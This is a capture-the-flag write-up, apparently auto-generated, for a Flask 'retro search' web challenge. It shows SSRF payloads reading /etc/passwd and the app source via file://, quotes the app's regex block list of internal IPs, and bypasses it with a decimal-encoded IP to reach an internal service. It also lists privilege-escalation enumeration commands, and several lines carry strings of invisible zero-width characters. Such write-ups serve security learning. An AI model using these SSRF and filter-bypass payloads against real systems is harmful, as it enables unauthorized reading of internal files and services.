110 - Retro Search (Ретро поиск) - duckerz CTF

Platform: Duckerz CTF | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-01-19 | Status: Solved Techniques: decimal_ip_bypass, file_protocol_lfi, source_code_analysis, ssrf

Summary

Task: Retro-styled search engine with URL fetch functionality. Solution: Exploited SSRF via file:// protocol to read source code, discovered WAF blocking internal IPs, bypassed WAF using decimal IP format to access internal admin service.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn

Enumeration highlights

• Event: duckerz | ID: 20260115_duckerz_110_retro_search
• Tags: waf_bypass, flask, ssrf, lfi
• Indicators: search/fetch URL parameter, requests library error messages, blocked IP patterns in WAF
• Source: 20260115_duckerz_110_retro_search.md

Foothold

Vulnerability / Misconfiguration

1. Decimal_ip_bypass
2. File_protocol_lfi
3. Source_code_analysis
4. Ssrf

<command>

Exploitation

• See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

1. N/A for challenge-type writeup; see exploitation above.
2. Flag obtained via challenge solve.

<command>

Flags

Key Takeaways / Lessons

• decimal_ip_bypass
• file_protocol_lfi
• source_code_analysis
• ssrf
• Tags: waf_bypass, flask, ssrf, lfi

Original Writeup

<details><summary>Click to expand original content</summary>

Description

"Интернет помнит всё... если знать, где искать" (The Internet remembers everything... if you know where to look)

URL: http://tasks.duckerz.ru:30073/

A retro-styled search engine on Flask/Werkzeug with URL search functionality.

Analysis

Reconnaissance

1. The web application is a retro-style search engine
2. The search form accepts a q parameter and makes HTTP requests to the specified URL
3. When entering an invalid URL, we get an error:

   Invalid URL 'test': No schema supplied. Perhaps you meant http://test?

This message is from the requests library - a clear sign of SSRF vulnerability! ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Discovered Vulnerabilities

• SSRF - the server makes requests to arbitrary URLs
• LFI - the file:// protocol is supported
• WAF bypass - IP address filtering via regex without considering alternative formats

Solution

Step 1: Testing SSRF and LFI via file://

http://tasks.duckerz.ru:30073/search?q=file:///etc/passwd

Successfully retrieved the contents of /etc/passwd - the file:// protocol works!

Step 2: Reading the application source code

http://tasks.duckerz.ru:30073/search?q=file:///app/app.py

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Discovered a WAF blocking internal addresses:

def is_blocked_url(url):
    decoded_url = unquote(url)
    blocked_patterns = [
        r'localhost',
        r'127\.0\.0\.1',
        r'0\.0\.0\.0',
        r'169\.254\.',
        r'::1',
        r'internal',
        r'172\.30\.0\.11',
        r'172\.30\.0\.10',
    ]
    for pattern in blocked_patterns:
        if re.search(pattern, decoded_url, re.IGNORECASE):
            return True
    return False

Key finding: Internal services at 172.30.0.10 and 172.30.0.11 are blocked by WAF! ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 3: WAF bypass via decimal IP

The WAF only checks string patterns like "172.30.0.11", but doesn't account for alternative IP formats.

Converting IP to decimal format:

# 172.30.0.11 -> decimal
ip = "172.30.0.11"
parts = list(map(int, ip.split('.')))
decimal_ip = (parts[0] << 24) + (parts[1] << 16) + (parts[2] << 8) + parts[3]
# Result: 2887647243

Verification:

172 * 256^3 + 30 * 256^2 + 0 * 256 + 11 = 2887647243

Step 4: Accessing the internal service

http://tasks.duckerz.ru:30073/search?q=http://2887647243

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

WAF bypassed! Received a response from the internal admin service with the flag.

Alternative IP Formats for WAF Bypass

References

• SSRF Bible
• IP Address Converter ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

</details>

---

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR